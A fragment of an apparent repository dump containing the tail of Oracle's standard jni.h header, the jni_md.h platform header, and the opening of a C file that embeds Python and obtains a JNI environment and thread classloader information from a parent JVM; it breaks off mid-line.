functions->CallNonvirtualShortMethodA(this,obj,clazz,\n                                                     methodID,args);\n    }\n\n    jint CallNonvirtualIntMethod(jobject obj, jclass clazz,\n                                 jmethodID methodID, ...) {\n        va_list args;\n        jint result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualIntMethodV(this,obj,clazz,\n                                                     methodID,args);\n        va_end(args);\n        return result;\n    }\n    jint CallNonvirtualIntMethodV(jobject obj, jclass clazz,\n                                  jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualIntMethodV(this,obj,clazz,\n                                                   methodID,args);\n    }\n    jint CallNonvirtualIntMethodA(jobject obj, jclass clazz,\n                                  jmethodID methodID, const jvalue * args) {\n        return functions->CallNonvirtualIntMethodA(this,obj,clazz,\n                                                   methodID,args);\n    }\n\n    jlong CallNonvirtualLongMethod(jobject obj, jclass clazz,\n                                   jmethodID methodID, ...) {\n        va_list args;\n        jlong result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualLongMethodV(this,obj,clazz,\n                                                      methodID,args);\n        va_end(args);\n        return result;\n    }\n    jlong CallNonvirtualLongMethodV(jobject obj, jclass clazz,\n                                    jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualLongMethodV(this,obj,clazz,\n                                                    methodID,args);\n    }\n    jlong CallNonvirtualLongMethodA(jobject obj, jclass clazz,\n                                    jmethodID methodID, const jvalue * args) {\n        return functions->CallNonvirtualLongMethodA(this,obj,clazz,\n                                                    methodID,args);\n    }\n\n    jfloat CallNonvirtualFloatMethod(jobject obj, jclass clazz,\n                                     jmethodID methodID, ...) {\n        va_list args;\n        jfloat result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualFloatMethodV(this,obj,clazz,\n                                                       methodID,args);\n        va_end(args);\n        return result;\n    }\n    jfloat CallNonvirtualFloatMethodV(jobject obj, jclass clazz,\n                                      jmethodID methodID,\n                                      va_list args) {\n        return functions->CallNonvirtualFloatMethodV(this,obj,clazz,\n                                                     methodID,args);\n    }\n    jfloat CallNonvirtualFloatMethodA(jobject obj, jclass clazz,\n                                      jmethodID methodID,\n                                      const jvalue * args) {\n        return functions->CallNonvirtualFloatMethodA(this,obj,clazz,\n                                                     methodID,args);\n    }\n\n    jdouble CallNonvirtualDoubleMethod(jobject obj, jclass clazz,\n                                       jmethodID methodID, ...) {\n        va_list args;\n        jdouble result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualDoubleMethodV(this,obj,clazz,\n                                                        methodID,args);\n        va_end(args);\n        return result;\n    }\n    jdouble CallNonvirtualDoubleMethodV(jobject obj, jclass clazz,\n                                        jmethodID methodID,\n                                        va_list args) {\n        return functions->CallNonvirtualDoubleMethodV(this,obj,clazz,\n                                                      methodID,args);\n    }\n    jdouble CallNonvirtualDoubleMethodA(jobject obj, jclass clazz,\n                                        jmethodID methodID,\n                                        const jvalue * args) {\n        return functions->CallNonvirtualDoubleMethodA(this,obj,clazz,\n                                                      methodID,args);\n    }\n\n    void CallNonvirtualVoidMethod(jobject obj, jclass clazz,\n                                  jmethodID methodID, ...) {\n        va_list args;\n        va_start(args,methodID);\n        functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args);\n        va_end(args);\n    }\n    void CallNonvirtualVoidMethodV(jobject obj, jclass clazz,\n                                   jmethodID methodID,\n                                   va_list args) {\n        functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args);\n    }\n    void CallNonvirtualVoidMethodA(jobject obj, jclass clazz,\n                                   jmethodID methodID,\n                                   const jvalue * args) {\n        functions->CallNonvirtualVoidMethodA(this,obj,clazz,methodID,args);\n    }\n\n    jfieldID GetFieldID(jclass clazz, const char *name,\n                        const char *sig) {\n        return functions->GetFieldID(this,clazz,name,sig);\n    }\n\n    jobject GetObjectField(jobject obj, jfieldID fieldID) {\n        return functions->GetObjectField(this,obj,fieldID);\n    }\n    jboolean GetBooleanField(jobject obj, jfieldID fieldID) {\n        return functions->GetBooleanField(this,obj,fieldID);\n    }\n    jbyte GetByteField(jobject obj, jfieldID fieldID) {\n        return functions->GetByteField(this,obj,fieldID);\n    }\n    jchar GetCharField(jobject obj, jfieldID fieldID) {\n        return functions->GetCharField(this,obj,fieldID);\n    }\n    jshort GetShortField(jobject obj, jfieldID fieldID) {\n        return functions->GetShortField(this,obj,fieldID);\n    }\n    jint GetIntField(jobject obj, jfieldID fieldID) {\n        return functions->GetIntField(this,obj,fieldID);\n    }\n    jlong GetLongField(jobject obj, jfieldID fieldID) {\n        return functions->GetLongField(this,obj,fieldID);\n    }\n    jfloat GetFloatField(jobject obj, jfieldID fieldID) {\n        return functions->GetFloatField(this,obj,fieldID);\n    }\n    jdouble GetDoubleField(jobject obj, jfieldID fieldID) {\n        return functions->GetDoubleField(this,obj,fieldID);\n    }\n\n    void SetObjectField(jobject obj, jfieldID fieldID, jobject val) {\n        functions->SetObjectField(this,obj,fieldID,val);\n    }\n    void SetBooleanField(jobject obj, jfieldID fieldID,\n                         jboolean val) {\n        functions->SetBooleanField(this,obj,fieldID,val);\n    }\n    void SetByteField(jobject obj, jfieldID fieldID,\n                      jbyte val) {\n        functions->SetByteField(this,obj,fieldID,val);\n    }\n    void SetCharField(jobject obj, jfieldID fieldID,\n                      jchar val) {\n        functions->SetCharField(this,obj,fieldID,val);\n    }\n    void SetShortField(jobject obj, jfieldID fieldID,\n                       jshort val) {\n        functions->SetShortField(this,obj,fieldID,val);\n    }\n    void SetIntField(jobject obj, jfieldID fieldID,\n                     jint val) {\n        functions->SetIntField(this,obj,fieldID,val);\n    }\n    void SetLongField(jobject obj, jfieldID fieldID,\n                      jlong val) {\n        functions->SetLongField(this,obj,fieldID,val);\n    }\n    void SetFloatField(jobject obj, jfieldID fieldID,\n                       jfloat val) {\n        functions->SetFloatField(this,obj,fieldID,val);\n    }\n    void SetDoubleField(jobject obj, jfieldID fieldID,\n                        jdouble val) {\n        functions->SetDoubleField(this,obj,fieldID,val);\n    }\n\n    jmethodID GetStaticMethodID(jclass clazz, const char *name,\n                                const char *sig) {\n        return functions->GetStaticMethodID(this,clazz,name,sig);\n    }\n\n    jobject CallStaticObjectMethod(jclass clazz, jmethodID methodID,\n                             ...) {\n        va_list args;\n        jobject result;\n        va_start(args,methodID);\n        result = functions->CallStaticObjectMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jobject CallStaticObjectMethodV(jclass clazz, jmethodID methodID,\n                              va_list args) {\n        return functions->CallStaticObjectMethodV(this,clazz,methodID,args);\n    }\n    jobject CallStaticObjectMethodA(jclass clazz, jmethodID methodID,\n                              const jvalue *args) {\n        return functions->CallStaticObjectMethodA(this,clazz,methodID,args);\n    }\n\n    jboolean CallStaticBooleanMethod(jclass clazz,\n                                     jmethodID methodID, ...) {\n        va_list args;\n        jboolean result;\n        va_start(args,methodID);\n        result = functions->CallStaticBooleanMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jboolean CallStaticBooleanMethodV(jclass clazz,\n                                      jmethodID methodID, va_list args) {\n        return functions->CallStaticBooleanMethodV(this,clazz,methodID,args);\n    }\n    jboolean CallStaticBooleanMethodA(jclass clazz,\n                                      jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticBooleanMethodA(this,clazz,methodID,args);\n    }\n\n    jbyte CallStaticByteMethod(jclass clazz,\n                               jmethodID methodID, ...) {\n        va_list args;\n        jbyte result;\n        va_start(args,methodID);\n        result = functions->CallStaticByteMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jbyte CallStaticByteMethodV(jclass clazz,\n                                jmethodID methodID, va_list args) {\n        return functions->CallStaticByteMethodV(this,clazz,methodID,args);\n    }\n    jbyte CallStaticByteMethodA(jclass clazz,\n                                jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticByteMethodA(this,clazz,methodID,args);\n    }\n\n    jchar CallStaticCharMethod(jclass clazz,\n                               jmethodID methodID, ...) {\n        va_list args;\n        jchar result;\n        va_start(args,methodID);\n        result = functions->CallStaticCharMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jchar CallStaticCharMethodV(jclass clazz,\n                                jmethodID methodID, va_list args) {\n        return functions->CallStaticCharMethodV(this,clazz,methodID,args);\n    }\n    jchar CallStaticCharMethodA(jclass clazz,\n                                jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticCharMethodA(this,clazz,methodID,args);\n    }\n\n    jshort CallStaticShortMethod(jclass clazz,\n                                 jmethodID methodID, ...) {\n        va_list args;\n        jshort result;\n        va_start(args,methodID);\n        result = functions->CallStaticShortMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jshort CallStaticShortMethodV(jclass clazz,\n                                  jmethodID methodID, va_list args) {\n        return functions->CallStaticShortMethodV(this,clazz,methodID,args);\n    }\n    jshort CallStaticShortMethodA(jclass clazz,\n                                  jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticShortMethodA(this,clazz,methodID,args);\n    }\n\n    jint CallStaticIntMethod(jclass clazz,\n                             jmethodID methodID, ...) {\n        va_list args;\n        jint result;\n        va_start(args,methodID);\n        result = functions->CallStaticIntMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jint CallStaticIntMethodV(jclass clazz,\n                              jmethodID methodID, va_list args) {\n        return functions->CallStaticIntMethodV(this,clazz,methodID,args);\n    }\n    jint CallStaticIntMethodA(jclass clazz,\n                              jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticIntMethodA(this,clazz,methodID,args);\n    }\n\n    jlong CallStaticLongMethod(jclass clazz,\n                               jmethodID methodID, ...) {\n        va_list args;\n        jlong result;\n        va_start(args,methodID);\n        result = functions->CallStaticLongMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jlong CallStaticLongMethodV(jclass clazz,\n                                jmethodID methodID, va_list args) {\n        return functions->CallStaticLongMethodV(this,clazz,methodID,args);\n    }\n    jlong CallStaticLongMethodA(jclass clazz,\n                                jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticLongMethodA(this,clazz,methodID,args);\n    }\n\n    jfloat CallStaticFloatMethod(jclass clazz,\n                                 jmethodID methodID, ...) {\n        va_list args;\n        jfloat result;\n        va_start(args,methodID);\n        result = functions->CallStaticFloatMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jfloat CallStaticFloatMethodV(jclass clazz,\n                                  jmethodID methodID, va_list args) {\n        return functions->CallStaticFloatMethodV(this,clazz,methodID,args);\n    }\n    jfloat CallStaticFloatMethodA(jclass clazz,\n                                  jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticFloatMethodA(this,clazz,methodID,args);\n    }\n\n    jdouble CallStaticDoubleMethod(jclass clazz,\n                                   jmethodID methodID, ...) {\n        va_list args;\n        jdouble result;\n        va_start(args,methodID);\n        result = functions->CallStaticDoubleMethodV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jdouble CallStaticDoubleMethodV(jclass clazz,\n                                    jmethodID methodID, va_list args) {\n        return functions->CallStaticDoubleMethodV(this,clazz,methodID,args);\n    }\n    jdouble CallStaticDoubleMethodA(jclass clazz,\n                                    jmethodID methodID, const jvalue *args) {\n        return functions->CallStaticDoubleMethodA(this,clazz,methodID,args);\n    }\n\n    void CallStaticVoidMethod(jclass cls, jmethodID methodID, ...) {\n        va_list args;\n        va_start(args,methodID);\n        functions->CallStaticVoidMethodV(this,cls,methodID,args);\n        va_end(args);\n    }\n    void CallStaticVoidMethodV(jclass cls, jmethodID methodID,\n                               va_list args) {\n        functions->CallStaticVoidMethodV(this,cls,methodID,args);\n    }\n    void CallStaticVoidMethodA(jclass cls, jmethodID methodID,\n                               const jvalue * args) {\n        functions->CallStaticVoidMethodA(this,cls,methodID,args);\n    }\n\n    jfieldID GetStaticFieldID(jclass clazz, const char *name,\n                              const char *sig) {\n        return functions->GetStaticFieldID(this,clazz,name,sig);\n    }\n    jobject GetStaticObjectField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticObjectField(this,clazz,fieldID);\n    }\n    jboolean GetStaticBooleanField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticBooleanField(this,clazz,fieldID);\n    }\n    jbyte GetStaticByteField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticByteField(this,clazz,fieldID);\n    }\n    jchar GetStaticCharField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticCharField(this,clazz,fieldID);\n    }\n    jshort GetStaticShortField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticShortField(this,clazz,fieldID);\n    }\n    jint GetStaticIntField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticIntField(this,clazz,fieldID);\n    }\n    jlong GetStaticLongField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticLongField(this,clazz,fieldID);\n    }\n    jfloat GetStaticFloatField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticFloatField(this,clazz,fieldID);\n    }\n    jdouble GetStaticDoubleField(jclass clazz, jfieldID fieldID) {\n        return functions->GetStaticDoubleField(this,clazz,fieldID);\n    }\n\n    void SetStaticObjectField(jclass clazz, jfieldID fieldID,\n                        jobject value) {\n      functions->SetStaticObjectField(this,clazz,fieldID,value);\n    }\n    void SetStaticBooleanField(jclass clazz, jfieldID fieldID,\n                        jboolean value) {\n      functions->SetStaticBooleanField(this,clazz,fieldID,value);\n    }\n    void SetStaticByteField(jclass clazz, jfieldID fieldID,\n                        jbyte value) {\n      functions->SetStaticByteField(this,clazz,fieldID,value);\n    }\n    void SetStaticCharField(jclass clazz, jfieldID fieldID,\n                        jchar value) {\n      functions->SetStaticCharField(this,clazz,fieldID,value);\n    }\n    void SetStaticShortField(jclass clazz, jfieldID fieldID,\n                        jshort value) {\n      functions->SetStaticShortField(this,clazz,fieldID,value);\n    }\n    void SetStaticIntField(jclass clazz, jfieldID fieldID,\n                        jint value) {\n      functions->SetStaticIntField(this,clazz,fieldID,value);\n    }\n    void SetStaticLongField(jclass clazz, jfieldID fieldID,\n                        jlong value) {\n      functions->SetStaticLongField(this,clazz,fieldID,value);\n    }\n    void SetStaticFloatField(jclass clazz, jfieldID fieldID,\n                        jfloat value) {\n      functions->SetStaticFloatField(this,clazz,fieldID,value);\n    }\n    void SetStaticDoubleField(jclass clazz, jfieldID fieldID,\n                        jdouble value) {\n      functions->SetStaticDoubleField(this,clazz,fieldID,value);\n    }\n\n    jstring NewString(const jchar *unicode, jsize len) {\n        return functions->NewString(this,unicode,len);\n    }\n    jsize GetStringLength(jstring str) {\n        return functions->GetStringLength(this,str);\n    }\n    const jchar *GetStringChars(jstring str, jboolean *isCopy) {\n        return functions->GetStringChars(this,str,isCopy);\n    }\n    void ReleaseStringChars(jstring str, const jchar *chars) {\n        functions->ReleaseStringChars(this,str,chars);\n    }\n\n    jstring NewStringUTF(const char *utf) {\n        return functions->NewStringUTF(this,utf);\n    }\n    jsize GetStringUTFLength(jstring str) {\n        return functions->GetStringUTFLength(this,str);\n    }\n    const char* GetStringUTFChars(jstring str, jboolean *isCopy) {\n        return functions->GetStringUTFChars(this,str,isCopy);\n    }\n    void ReleaseStringUTFChars(jstring str, const char* chars) {\n        functions->ReleaseStringUTFChars(this,str,chars);\n    }\n\n    jsize GetArrayLength(jarray array) {\n        return functions->GetArrayLength(this,array);\n    }\n\n    jobjectArray NewObjectArray(jsize len, jclass clazz,\n                                jobject init) {\n        return functions->NewObjectArray(this,len,clazz,init);\n    }\n    jobject GetObjectArrayElement(jobjectArray array, jsize index) {\n        return functions->GetObjectArrayElement(this,array,index);\n    }\n    void SetObjectArrayElement(jobjectArray array, jsize index,\n                               jobject val) {\n        functions->SetObjectArrayElement(this,array,index,val);\n    }\n\n    jbooleanArray NewBooleanArray(jsize len) {\n        return functions->NewBooleanArray(this,len);\n    }\n    jbyteArray NewByteArray(jsize len) {\n        return functions->NewByteArray(this,len);\n    }\n    jcharArray NewCharArray(jsize len) {\n        return functions->NewCharArray(this,len);\n    }\n    jshortArray NewShortArray(jsize len) {\n        return functions->NewShortArray(this,len);\n    }\n    jintArray NewIntArray(jsize len) {\n        return functions->NewIntArray(this,len);\n    }\n    jlongArray NewLongArray(jsize len) {\n        return functions->NewLongArray(this,len);\n    }\n    jfloatArray NewFloatArray(jsize len) {\n        return functions->NewFloatArray(this,len);\n    }\n    jdoubleArray NewDoubleArray(jsize len) {\n        return functions->NewDoubleArray(this,len);\n    }\n\n    jboolean * GetBooleanArrayElements(jbooleanArray array, jboolean *isCopy) {\n        return functions->GetBooleanArrayElements(this,array,isCopy);\n    }\n    jbyte * GetByteArrayElements(jbyteArray array, jboolean *isCopy) {\n        return functions->GetByteArrayElements(this,array,isCopy);\n    }\n    jchar * GetCharArrayElements(jcharArray array, jboolean *isCopy) {\n        return functions->GetCharArrayElements(this,array,isCopy);\n    }\n    jshort * GetShortArrayElements(jshortArray array, jboolean *isCopy) {\n        return functions->GetShortArrayElements(this,array,isCopy);\n    }\n    jint * GetIntArrayElements(jintArray array, jboolean *isCopy) {\n        return functions->GetIntArrayElements(this,array,isCopy);\n    }\n    jlong * GetLongArrayElements(jlongArray array, jboolean *isCopy) {\n        return functions->GetLongArrayElements(this,array,isCopy);\n    }\n    jfloat * GetFloatArrayElements(jfloatArray array, jboolean *isCopy) {\n        return functions->GetFloatArrayElements(this,array,isCopy);\n    }\n    jdouble * GetDoubleArrayElements(jdoubleArray array, jboolean *isCopy) {\n        return functions->GetDoubleArrayElements(this,array,isCopy);\n    }\n\n    void ReleaseBooleanArrayElements(jbooleanArray array,\n                                     jboolean *elems,\n                                     jint mode) {\n        functions->ReleaseBooleanArrayElements(this,array,elems,mode);\n    }\n    void ReleaseByteArrayElements(jbyteArray array,\n                                  jbyte *elems,\n                                  jint mode) {\n        functions->ReleaseByteArrayElements(this,array,elems,mode);\n    }\n    void ReleaseCharArrayElements(jcharArray array,\n                                  jchar *elems,\n                                  jint mode) {\n        functions->ReleaseCharArrayElements(this,array,elems,mode);\n    }\n    void ReleaseShortArrayElements(jshortArray array,\n                                   jshort *elems,\n                                   jint mode) {\n        functions->ReleaseShortArrayElements(this,array,elems,mode);\n    }\n    void ReleaseIntArrayElements(jintArray array,\n                                 jint *elems,\n                                 jint mode) {\n        functions->ReleaseIntArrayElements(this,array,elems,mode);\n    }\n    void ReleaseLongArrayElements(jlongArray array,\n                                  jlong *elems,\n                                  jint mode) {\n        functions->ReleaseLongArrayElements(this,array,elems,mode);\n    }\n    void ReleaseFloatArrayElements(jfloatArray array,\n                                   jfloat *elems,\n                                   jint mode) {\n        functions->ReleaseFloatArrayElements(this,array,elems,mode);\n    }\n    void ReleaseDoubleArrayElements(jdoubleArray array,\n                                    jdouble *elems,\n                                    jint mode) {\n        functions->ReleaseDoubleArrayElements(this,array,elems,mode);\n    }\n\n    void GetBooleanArrayRegion(jbooleanArray array,\n                               jsize start, jsize len, jboolean *buf) {\n        functions->GetBooleanArrayRegion(this,array,start,len,buf);\n    }\n    void GetByteArrayRegion(jbyteArray array,\n                            jsize start, jsize len, jbyte *buf) {\n        functions->GetByteArrayRegion(this,array,start,len,buf);\n    }\n    void GetCharArrayRegion(jcharArray array,\n                            jsize start, jsize len, jchar *buf) {\n        functions->GetCharArrayRegion(this,array,start,len,buf);\n    }\n    void GetShortArrayRegion(jshortArray array,\n                             jsize start, jsize len, jshort *buf) {\n        functions->GetShortArrayRegion(this,array,start,len,buf);\n    }\n    void GetIntArrayRegion(jintArray array,\n                           jsize start, jsize len, jint *buf) {\n        functions->GetIntArrayRegion(this,array,start,len,buf);\n    }\n    void GetLongArrayRegion(jlongArray array,\n                            jsize start, jsize len, jlong *buf) {\n        functions->GetLongArrayRegion(this,array,start,len,buf);\n    }\n    void GetFloatArrayRegion(jfloatArray array,\n                             jsize start, jsize len, jfloat *buf) {\n        functions->GetFloatArrayRegion(this,array,start,len,buf);\n    }\n    void GetDoubleArrayRegion(jdoubleArray array,\n                              jsize start, jsize len, jdouble *buf) {\n        functions->GetDoubleArrayRegion(this,array,start,len,buf);\n    }\n\n    void SetBooleanArrayRegion(jbooleanArray array, jsize start, jsize len,\n                               const jboolean *buf) {\n        functions->SetBooleanArrayRegion(this,array,start,len,buf);\n    }\n    void SetByteArrayRegion(jbyteArray array, jsize start, jsize len,\n                            const jbyte *buf) {\n        functions->SetByteArrayRegion(this,array,start,len,buf);\n    }\n    void SetCharArrayRegion(jcharArray array, jsize start, jsize len,\n                            const jchar *buf) {\n        functions->SetCharArrayRegion(this,array,start,len,buf);\n    }\n    void SetShortArrayRegion(jshortArray array, jsize start, jsize len,\n                             const jshort *buf) {\n        functions->SetShortArrayRegion(this,array,start,len,buf);\n    }\n    void SetIntArrayRegion(jintArray array, jsize start, jsize len,\n                           const jint *buf) {\n        functions->SetIntArrayRegion(this,array,start,len,buf);\n    }\n    void SetLongArrayRegion(jlongArray array, jsize start, jsize len,\n                            const jlong *buf) {\n        functions->SetLongArrayRegion(this,array,start,len,buf);\n    }\n    void SetFloatArrayRegion(jfloatArray array, jsize start, jsize len,\n                             const jfloat *buf) {\n        functions->SetFloatArrayRegion(this,array,start,len,buf);\n    }\n    void SetDoubleArrayRegion(jdoubleArray array, jsize start, jsize len,\n                              const jdouble *buf) {\n        functions->SetDoubleArrayRegion(this,array,start,len,buf);\n    }\n\n    jint RegisterNatives(jclass clazz, const JNINativeMethod *methods,\n                         jint nMethods) {\n        return functions->RegisterNatives(this,clazz,methods,nMethods);\n    }\n    jint UnregisterNatives(jclass clazz) {\n        return functions->UnregisterNatives(this,clazz);\n    }\n\n    jint MonitorEnter(jobject obj) {\n        return functions->MonitorEnter(this,obj);\n    }\n    jint MonitorExit(jobject obj) {\n        return functions->MonitorExit(this,obj);\n    }\n\n    jint GetJavaVM(JavaVM **vm) {\n        return functions->GetJavaVM(this,vm);\n    }\n\n    void GetStringRegion(jstring str, jsize start, jsize len, jchar *buf) {\n        functions->GetStringRegion(this,str,start,len,buf);\n    }\n    void GetStringUTFRegion(jstring str, jsize start, jsize len, char *buf) {\n        functions->GetStringUTFRegion(this,str,start,len,buf);\n    }\n\n    void * GetPrimitiveArrayCritical(jarray array, jboolean *isCopy) {\n        return functions->GetPrimitiveArrayCritical(this,array,isCopy);\n    }\n    void ReleasePrimitiveArrayCritical(jarray array, void *carray, jint mode) {\n        functions->ReleasePrimitiveArrayCritical(this,array,carray,mode);\n    }\n\n    const jchar * GetStringCritical(jstring string, jboolean *isCopy) {\n        return functions->GetStringCritical(this,string,isCopy);\n    }\n    void ReleaseStringCritical(jstring string, const jchar *cstring) {\n        functions->ReleaseStringCritical(this,string,cstring);\n    }\n\n    jweak NewWeakGlobalRef(jobject obj) {\n        return functions->NewWeakGlobalRef(this,obj);\n    }\n    void DeleteWeakGlobalRef(jweak ref) {\n        functions->DeleteWeakGlobalRef(this,ref);\n    }\n\n    jboolean ExceptionCheck() {\n        return functions->ExceptionCheck(this);\n    }\n\n    jobject NewDirectByteBuffer(void* address, jlong capacity) {\n        return functions->NewDirectByteBuffer(this, address, capacity);\n    }\n    void* GetDirectBufferAddress(jobject buf) {\n        return functions->GetDirectBufferAddress(this, buf);\n    }\n    jlong GetDirectBufferCapacity(jobject buf) {\n        return functions->GetDirectBufferCapacity(this, buf);\n    }\n    jobjectRefType GetObjectRefType(jobject obj) {\n        return functions->GetObjectRefType(this, obj);\n    }\n\n#endif /* __cplusplus */\n};\n\ntypedef struct JavaVMOption {\n    char *optionString;\n    void *extraInfo;\n} JavaVMOption;\n\ntypedef struct JavaVMInitArgs {\n    jint version;\n\n    jint nOptions;\n    JavaVMOption *options;\n    jboolean ignoreUnrecognized;\n} JavaVMInitArgs;\n\ntypedef struct JavaVMAttachArgs {\n    jint version;\n\n    char *name;\n    jobject group;\n} JavaVMAttachArgs;\n\n/* These will be VM-specific. */\n\n#define JDK1_2\n#define JDK1_4\n\n/* End VM-specific. */\n\nstruct JNIInvokeInterface_ {\n    void *reserved0;\n    void *reserved1;\n    void *reserved2;\n\n    jint (JNICALL *DestroyJavaVM)(JavaVM *vm);\n\n    jint (JNICALL *AttachCurrentThread)(JavaVM *vm, void **penv, void *args);\n\n    jint (JNICALL *DetachCurrentThread)(JavaVM *vm);\n\n    jint (JNICALL *GetEnv)(JavaVM *vm, void **penv, jint version);\n\n    jint (JNICALL *AttachCurrentThreadAsDaemon)(JavaVM *vm, void **penv, void *args);\n};\n\nstruct JavaVM_ {\n    const struct JNIInvokeInterface_ *functions;\n#ifdef __cplusplus\n\n    jint DestroyJavaVM() {\n        return functions->DestroyJavaVM(this);\n    }\n    jint AttachCurrentThread(void **penv, void *args) {\n        return functions->AttachCurrentThread(this, penv, args);\n    }\n    jint DetachCurrentThread() {\n        return functions->DetachCurrentThread(this);\n    }\n\n    jint GetEnv(void **penv, jint version) {\n        return functions->GetEnv(this, penv, version);\n    }\n    jint AttachCurrentThreadAsDaemon(void **penv, void *args) {\n        return functions->AttachCurrentThreadAsDaemon(this, penv, args);\n    }\n#endif\n};\n\n#ifdef _JNI_IMPLEMENTATION_\n#define _JNI_IMPORT_OR_EXPORT_ JNIEXPORT\n#else\n#define _JNI_IMPORT_OR_EXPORT_ JNIIMPORT\n#endif\n_JNI_IMPORT_OR_EXPORT_ jint JNICALL\nJNI_GetDefaultJavaVMInitArgs(void *args);\n\n_JNI_IMPORT_OR_EXPORT_ jint JNICALL\nJNI_CreateJavaVM(JavaVM **pvm, void **penv, void *args);\n\n_JNI_IMPORT_OR_EXPORT_ jint JNICALL\nJNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *);\n\n/* Defined by native libraries. */\nJNIEXPORT jint JNICALL\nJNI_OnLoad(JavaVM *vm, void *reserved);\n\nJNIEXPORT void JNICALL\nJNI_OnUnload(JavaVM *vm, void *reserved);\n\n#define JNI_VERSION_1_1 0x00010001\n#define JNI_VERSION_1_2 0x00010002\n#define JNI_VERSION_1_4 0x00010004\n#define JNI_VERSION_1_6 0x00010006\n#define JNI_VERSION_1_8 0x00010008\n\n#ifdef __cplusplus\n} /* extern \"C\" */\n#endif /* __cplusplus */\n\n#endif /* !_JAVASOFT_JNI_H_ */\n"
  },
  {
    "path": "client/common/jni_md.h",
    "content": "/*\n * Copyright (c) 1996, 2013, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation.  Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\n#ifndef _JAVASOFT_JNI_MD_H_\n#define _JAVASOFT_JNI_MD_H_\n\n#if defined(_WIN32) || defined(_WIN64)\n#define JNIEXPORT __declspec(dllexport)\n#define JNIIMPORT __declspec(dllimport)\n#define JNICALL __stdcall\n#elif defined(__GNUC__)\n#define JNIEXPORT     __attribute__((visibility(\"default\")))\n#define JNIIMPORT     __attribute__((visibility(\"default\")))\n#define JNICALL\n#else\n#error Unknown compiler\n#endif\n\ntypedef int jint;\n#if defined(_LP64) || defined(__LP64__) || defined(_WIN64) /* 64-bit */\ntypedef long jlong;\n#else\ntypedef long long jlong;\n#endif\n\ntypedef signed char jbyte;\n\n#endif /* !_JAVASOFT_JNI_MD_H_ */\n"
  },
  {
    "path": "client/common/jni_on_load.c",
    "content": "#include \"jni.h\"\n#include \"debug.h\"\n\n/* // TODO: Add proper deinitialization.. */\n\nstatic JavaVM *__jvm = NULL;\n\nstatic jobject __j_initial_classloader = NULL;\nstatic jobject __j_preferred_classloader = NULL;\nstatic jclass __j_ClassLoader = NULL;\nstatic jmethodID __j_ClassLoader_findClass = NULL;\n\nstatic PyObject * jvm_error = NULL;\nstatic char *__preferred_classloader_name = NULL;\nstatic char *__preferred_loadable_class = NULL;\nstatic char jvm_module_doc[] = \"Info about parent JVM\";\n\nstruct __thread_name_and_classloader_to_dict_ctx {\n    void* payload;\n\n    jclass Thread;\n    jclass Class;\n\n    jstring prefferedName;\n\n    jmethodID getName;\n    jmethodID getContextClassLoader;\n    jmethodID getClass;\n    jmethodID forName;\n    jmethodID getClassName;\n};\n\nstatic JNIEnv*\nPy_get_jni_env(JNIEnv *env) {\n    jint ret;\n    void *penv = NULL;\n\n    if (env != NULL)\n        return env;\n\n    if (__jvm == NULL) {\n        PyErr_SetString(jvm_error, \"JVM was not loaded yet\");\n        return NULL;\n    }\n\n    ret = (*__jvm)->GetEnv(__jvm, &penv,  JNI_VERSION_1_6);\n    switch (ret) {\n    case JNI_OK:\n        dprint(\"Load JNIEnv: %p\\n\", penv);\n        break;\n\n    case JNI_EDETACHED:\n        PyErr_SetString(jvm_error, \"Method called from detached thread\");\n        return NULL;\n\n    default:\n        PyErr_SetString(jvm_error, \"Could not get JNI Environment\");\n        return NULL;\n    }\n\n    return penv;\n}\n\n\nstatic jint Py_new__thread_name_and_classloader_to_dict_ctx(\n    JNIEnv *env, struct __thread_name_and_classloader_to_dict_ctx *ctx) {\n\n    ctx->Thread = (*env)->FindClass(env, \"java/lang/Thread\");\n    if 